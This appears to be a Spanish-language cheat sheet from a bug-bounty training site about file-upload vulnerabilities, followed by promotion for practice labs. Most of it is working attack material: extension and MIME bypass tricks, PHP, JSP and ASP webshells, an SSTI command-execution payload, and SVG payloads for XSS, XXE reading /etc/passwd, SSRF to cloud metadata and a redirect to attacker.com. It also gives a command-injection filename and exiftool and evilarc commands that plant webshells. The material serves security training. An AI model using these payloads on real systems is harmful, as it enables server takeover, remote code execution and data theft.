Cheatsheet File Upload
Vulnerabilidades en subida de archivos
Referencia rápida
- →Siempre probar multiples extensiones alternativas: .php5, .phtml, .phar, .shtml
- →Magic bytes (GIF89a;) bypasean validaciones que solo comprueban los primeros bytes
- →SVG es un vector ideal porque soporta JS (XSS), XML (XXE) y URLs (SSRF) simultaneamente
- →Si se puede subir .htaccess, cualquier extension se puede ejecutar como PHP
- →Command injection en filename: probar ||, &&, ;, backticks y $() en el nombre del archivo
Bypass de extension
Doble extension
shell.php.jpg
Extension con null bytePHP < 5.3 trunca en null byte
shell.php%00.jpg
Extension alternativa PHP
shell.php5 / shell.phtml / shell.phar / shell.phps
Extension con punto final
shell.php.
Extension con espacios
shell.php%20
Extension case manipulation
shell.pHp / shell.PHP
Semicolon (IIS)IIS ignora todo despues del punto y coma
shell.asp;.jpg
Extension con NTFS streamWindows NTFS alternate data stream
shell.php::$DATA
Bypass de Content-Type
Cambiar MIME a imagenCambiar el Content-Type pero mantener contenido PHP
Content-Type: image/jpeg
MIME SVGSVG puede contener JavaScript y XXE
Content-Type: image/svg+xml
MIME GIF con magic bytesGIF89a son los magic bytes de GIF
GIF89a; <?php system($_GET["cmd"]); ?>
MIME PDF
Content-Type: application/pdf
Webshells
PHP webshell simple
<?php system($_GET['cmd']); ?>
PHP webshell corto
<?=`$_GET[0]`?>
JSP webshell
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>ASP webshell
<% eval request("cmd") %>Python (Jinja2 SSTI en upload)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}SVG malicioso
SVG + XSS
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <script>alert(document.domain)</script> </svg>
SVG + XXE
<?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> <svg xmlns="http://www.w3.org/2000/svg"> <text>&xxe;</text> </svg>
SVG + SSRF redirect
<?xml version="1.0"?> <svg xmlns="http://www.w3.org/2000/svg"> <image xlink:href="http://169.254.169.254/latest/meta-data/"></image> </svg>
SVG + Open Redirect
<svg onload="window.location='http://attacker.com'" xmlns="http://www.w3.org/2000/svg"></svg>
Zip Slip y procesamiento de archivos
Zip Slip path traversalCrea ZIP con archivos que usan path traversal al extraer
python evilarc.py webshell.php -d 6 -o unix -p "var/www/html/"
Command injection en filenameSi el backend procesa el nombre del archivo en un comando shell
filename="test || sleep 30 ||.gif"
Polyglot JPEG/PHPInserta PHP en los metadatos EXIF de una imagen real
exiftool -Comment='<?php system($_GET["cmd"]); ?>' photo.jpg
.htaccess uploadSi se puede subir .htaccess, los .jpg se ejecutan como PHP
AddType application/x-httpd-php .jpg
Herramientas
fuxploider
Fuzzer automatizado de file upload que prueba multiples tecnicas de bypass
python3 fuxploider.py --url https://target.com/upload --not-regex "error"
exiftool
Inyecta payload en metadatos EXIF de imagenes reales
exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg
evilarc
Genera archivos ZIP con path traversal para Zip Slip attacks
python evilarc.py shell.php -d 5 -o unix -p "var/www/html/"
Contenido relacionado
¿Listo para practicar?
Pon en práctica estos payloads en labs reales basados en reportes de bug bounty.
Ver labs de prácticahunters entrenando
labs de hackeos reales
completaciones
pagados por estos bugs
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Deja de leer sobre bugs y empieza a cazarlos
Crea tu cuenta gratis y practica sobre labs basados en hackeos reales que pagaron miles de euros. La Academy es gratis para siempre.
Sin tarjeta · Academy gratis · cancela cuando quieras
La comunidad
Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.
Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.